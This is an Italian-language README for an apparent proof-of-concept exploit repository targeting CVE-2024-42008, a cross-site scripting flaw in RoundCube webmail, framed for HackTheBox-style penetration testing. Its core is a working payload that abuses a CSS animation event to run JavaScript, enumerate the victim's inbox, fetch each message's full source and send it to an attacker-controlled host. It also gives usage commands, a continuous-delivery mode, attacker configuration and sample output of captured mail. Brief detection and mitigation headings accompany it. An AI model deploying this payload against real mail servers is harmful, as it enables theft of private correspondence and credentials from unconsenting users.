
Exploit proof-of-concept per CVE-2024-42008, una vulnerabilità Cross-Site Scripting nella webmail RoundCube. Consegna payload XSS tramite moduli di contatto per rubare email, credenziali e token di sessione in ambienti di test di penetrazione autorizzati.
Questo repository contiene un exploit proof-of-concept per CVE-2024-42008, una vulnerabilità Cross-Site Scripting (XSS) nell'applicazione webmail RoundCube. Questo exploit è progettato per scopi educativi e ambienti di penetration testing controllati come HackTheBox.
La vulnerabilità risiede in rcmail_action_mail_get->run() e consente a un attaccante remoto di eseguire JavaScript arbitrario nel browser della vittima. Il difetto deriva da una validazione insufficiente dell'input durante l'elaborazione del contenuto delle email, in particolare nella gestione delle animazioni CSS e dei contesti di esecuzione JavaScript.
Vettore di attacco principale:
onanimationstart aggirano i filtri dei contenutiUno sfruttamento riuscito consente agli attaccanti di:
L'exploit è composto da tre componenti principali:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
Modifica lo script per configurare:
ATTACKER_IP: l'IP del tuo server in ascoltoATTACKER_PORT: la porta per ricevere i dati esfiltratiRECIPIENT_EMAIL: l'indirizzo email targetTARGET_URL: istanza RoundCube vulnerabilePROXY: server proxy per il debug (Burp Suite/Caido)| Opzione | Descrizione |
|---|---|
-d, --debug | Abilita la modalità di debug con supporto proxy |
-c, --continuous | Invia i payload in modo continuo |
-i, --interval | Intervallo tra i payload (default: 30s) |
Indicatori di rilevamento:
onanimationstart nell'HTMLStrategie di mitigazione:
Considerazioni per il test:
⚠️ AVVISO: questo exploit è fornito esclusivamente per scopi educativi e test autorizzati.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
Questo codice è fornito esclusivamente per scopi educativi e test di penetrazione autorizzati. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Assicurati sempre di avere la dovuta autorizzazione prima di testare qualsiasi sistema.